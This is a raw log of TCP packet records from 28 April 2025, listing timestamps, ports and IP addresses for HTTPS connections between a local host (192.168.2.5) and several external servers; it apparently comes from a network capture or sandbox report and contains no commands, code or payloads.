Apr 28, 2025 09:04:53.796224117 CEST	443	49742	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:53.804390907 CEST	49742	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:53.804430962 CEST	443	49742	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:53.805464029 CEST	49741	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:53.805489063 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:53.805633068 CEST	49742	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:53.805638075 CEST	443	49742	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:53.805685997 CEST	49741	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:53.805691004 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:53.805725098 CEST	49741	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:53.805731058 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.123213053 CEST	443	49742	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:54.123275995 CEST	443	49742	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:54.123583078 CEST	49742	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:54.123992920 CEST	49742	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:54.124012947 CEST	443	49742	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:54.160612106 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.160710096 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.160754919 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.160789967 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.160806894 CEST	49741	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.160820007 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.160850048 CEST	49741	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.160875082 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.160933018 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.160978079 CEST	49741	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.164053917 CEST	49741	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.164072037 CEST	443	49741	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.171783924 CEST	49743	443	192.168.2.5	104.21.78.21
Apr 28, 2025 09:04:54.171816111 CEST	443	49743	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:54.172063112 CEST	49743	443	192.168.2.5	104.21.78.21
Apr 28, 2025 09:04:54.174760103 CEST	49743	443	192.168.2.5	104.21.78.21
Apr 28, 2025 09:04:54.174773932 CEST	443	49743	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:54.190794945 CEST	49744	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.190840006 CEST	443	49744	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.190946102 CEST	49744	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.191031933 CEST	49745	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.191071987 CEST	443	49745	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.191129923 CEST	49745	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.191276073 CEST	49744	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.191287994 CEST	443	49744	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.191564083 CEST	49745	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.191576958 CEST	443	49745	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.461591005 CEST	443	49743	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:54.466043949 CEST	49743	443	192.168.2.5	104.21.78.21
Apr 28, 2025 09:04:54.466063023 CEST	443	49743	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:54.466114044 CEST	49743	443	192.168.2.5	104.21.78.21
Apr 28, 2025 09:04:54.466120005 CEST	443	49743	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:54.475392103 CEST	443	49744	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.477930069 CEST	49744	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.477965117 CEST	443	49744	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.478080988 CEST	49744	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.478087902 CEST	443	49744	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.478127003 CEST	49744	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.478135109 CEST	443	49744	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.480873108 CEST	443	49745	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.481765032 CEST	49745	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.481791973 CEST	443	49745	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.481947899 CEST	49745	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.481954098 CEST	443	49745	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.796813965 CEST	443	49743	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:54.796899080 CEST	443	49743	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:54.797087908 CEST	49743	443	192.168.2.5	104.21.78.21
Apr 28, 2025 09:04:54.797945976 CEST	49743	443	192.168.2.5	104.21.78.21
Apr 28, 2025 09:04:54.797965050 CEST	443	49743	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:54.827528954 CEST	443	49744	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.827594995 CEST	443	49744	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.827775955 CEST	49744	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:54.830893993 CEST	443	49745	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.830955982 CEST	443	49745	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:54.831378937 CEST	49745	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:55.202780962 CEST	49744	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:55.202807903 CEST	443	49744	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:55.203234911 CEST	49745	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:55.203248978 CEST	443	49745	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:55.207202911 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.207215071 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.207293987 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.207473993 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.207483053 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.383291960 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.383341074 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.383563042 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.385268927 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.385284901 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.776108027 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.776185989 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.777607918 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.777616978 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.777853012 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.778223038 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.820275068 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.955110073 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.955210924 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.955734015 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:55.955743074 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.955974102 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:55.956306934 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:56.004276991 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:56.558738947 CEST	49696	80	192.168.2.5	192.178.49.195
Apr 28, 2025 09:04:56.707092047 CEST	80	49696	192.178.49.195	192.168.2.5
Apr 28, 2025 09:04:56.707221985 CEST	49696	80	192.168.2.5	192.178.49.195
Apr 28, 2025 09:04:57.759476900 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:57.759501934 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:57.759546041 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:57.759637117 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:57.759661913 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:57.759687901 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:57.759691954 CEST	443	49747	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:57.759751081 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:57.761142969 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:57.761158943 CEST	49747	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.055277109 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.055299044 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.055315018 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.055368900 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.055387020 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.055397987 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.055429935 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.055447102 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.055453062 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.055474997 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.106337070 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.337372065 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.337392092 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.337461948 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.337491989 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.337524891 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.337543964 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.337553978 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.337559938 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.337589025 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.337618113 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.337733030 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.337747097 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.337783098 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.337788105 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.337810040 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.337824106 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.619844913 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.619865894 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.619906902 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.619937897 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.619960070 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.619976997 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.620028973 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.620153904 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620168924 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620204926 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.620209932 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620227098 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.620395899 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620412111 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620450020 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.620455027 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620484114 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.620573044 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620587111 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620630980 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.620635986 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620789051 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620806932 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620835066 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.620840073 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.620858908 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.621068954 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.621082067 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.621125937 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.621131897 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.621160984 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.670761108 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.902615070 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.902650118 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.902738094 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.902755976 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.902769089 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.902790070 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.902798891 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.902803898 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.902837038 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.902883053 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.902995110 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903018951 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903065920 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.903070927 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903104067 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.903204918 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903223991 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903330088 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.903335094 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903376102 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.903431892 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903450012 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903491974 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.903496027 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903521061 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.903541088 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.903678894 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903695107 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903748035 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.903752089 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903796911 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.903903008 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903917074 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903949976 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.903953075 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.903980970 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904000998 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904095888 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904186010 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904213905 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904232025 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904238939 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904269934 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904279947 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904387951 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904402018 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904443026 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904449940 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904485941 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904639959 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904656887 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904696941 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904701948 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904733896 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904937983 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904953003 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.904985905 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.904989958 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.905016899 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.905031919 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.905232906 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.905247927 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.905292988 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.905297041 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:58.905329943 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:58.905404091 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:59.184633970 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:59.184659958 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:59.184717894 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:59.184763908 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:59.184781075 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:59.184801102 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:59.184820890 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:59.184854031 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:59.184884071 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:59.188698053 CEST	49748	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:59.188711882 CEST	443	49748	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.049329042 CEST	49751	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.049366951 CEST	443	49751	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.049423933 CEST	49751	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.049683094 CEST	49751	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.049694061 CEST	443	49751	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.055602074 CEST	49752	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.055700064 CEST	443	49752	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.055768967 CEST	49752	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.057213068 CEST	49752	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.057228088 CEST	443	49752	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.111604929 CEST	49753	443	192.168.2.5	192.178.49.196
Apr 28, 2025 09:05:00.111655951 CEST	443	49753	192.178.49.196	192.168.2.5
Apr 28, 2025 09:05:00.111716986 CEST	49753	443	192.168.2.5	192.178.49.196
Apr 28, 2025 09:05:00.112621069 CEST	49753	443	192.168.2.5	192.178.49.196
Apr 28, 2025 09:05:00.112631083 CEST	443	49753	192.178.49.196	192.168.2.5
Apr 28, 2025 09:05:00.427593946 CEST	443	49753	192.178.49.196	192.168.2.5
Apr 28, 2025 09:05:00.428347111 CEST	49753	443	192.168.2.5	192.178.49.196
Apr 28, 2025 09:05:00.428368092 CEST	443	49753	192.178.49.196	192.168.2.5
Apr 28, 2025 09:05:00.618627071 CEST	443	49751	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.618984938 CEST	49751	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.619005919 CEST	443	49751	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.619299889 CEST	49751	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.619301081 CEST	49751	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.619313002 CEST	443	49751	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.619329929 CEST	443	49751	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.619399071 CEST	49751	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.619405985 CEST	443	49751	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.624562025 CEST	443	49752	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:00.624748945 CEST	49752	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:00.624772072 CEST	443	49752	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:02.086863995 CEST	443	49751	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:02.086965084 CEST	443	49751	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:02.087069035 CEST	49751	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:02.104859114 CEST	49751	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:05:02.104876041 CEST	443	49751	212.81.47.195	192.168.2.5
Apr 28, 2025 09:05:02.282016993 CEST	49754	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:02.282049894 CEST	443	49754	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:02.282119036 CEST	49754	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:02.285161018 CEST	49754	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:02.285175085 CEST	443	49754	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:02.720815897 CEST	443	49754	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:02.720894098 CEST	49754	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:02.722335100 CEST	49754	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:02.722343922 CEST	443	49754	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:02.722587109 CEST	443	49754	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:02.722865105 CEST	49754	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:02.764270067 CEST	443	49754	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:03.048962116 CEST	443	49754	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:03.049050093 CEST	443	49754	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:03.049107075 CEST	49754	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:03.050122976 CEST	49754	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:03.050134897 CEST	443	49754	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:03.182895899 CEST	49702	443	192.168.2.5	182.92.145.92
Apr 28, 2025 09:05:03.183007956 CEST	443	49702	182.92.145.92	192.168.2.5
Apr 28, 2025 09:05:03.183089972 CEST	49702	443	192.168.2.5	182.92.145.92
Apr 28, 2025 09:05:04.324886084 CEST	49756	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.324928045 CEST	443	49756	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.324976921 CEST	49756	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.325246096 CEST	49756	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.325257063 CEST	443	49756	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.473860979 CEST	49757	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.473917961 CEST	443	49757	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.473975897 CEST	49757	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.474203110 CEST	49757	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.474215031 CEST	443	49757	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.499237061 CEST	49758	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:04.499284029 CEST	443	49758	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:04.499336958 CEST	49758	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:04.499747038 CEST	49758	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:04.499756098 CEST	443	49758	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:04.627113104 CEST	443	49756	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.627866030 CEST	49756	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.627885103 CEST	443	49756	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.628092051 CEST	49756	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.628097057 CEST	443	49756	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.777842045 CEST	443	49757	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.777920008 CEST	49757	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.783689976 CEST	49757	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.783706903 CEST	443	49757	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.783941031 CEST	443	49757	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.790350914 CEST	49757	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.833659887 CEST	443	49758	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:04.833848000 CEST	49758	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:04.836277008 CEST	443	49757	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.846476078 CEST	49758	443	192.168.2.5	23.55.241.136
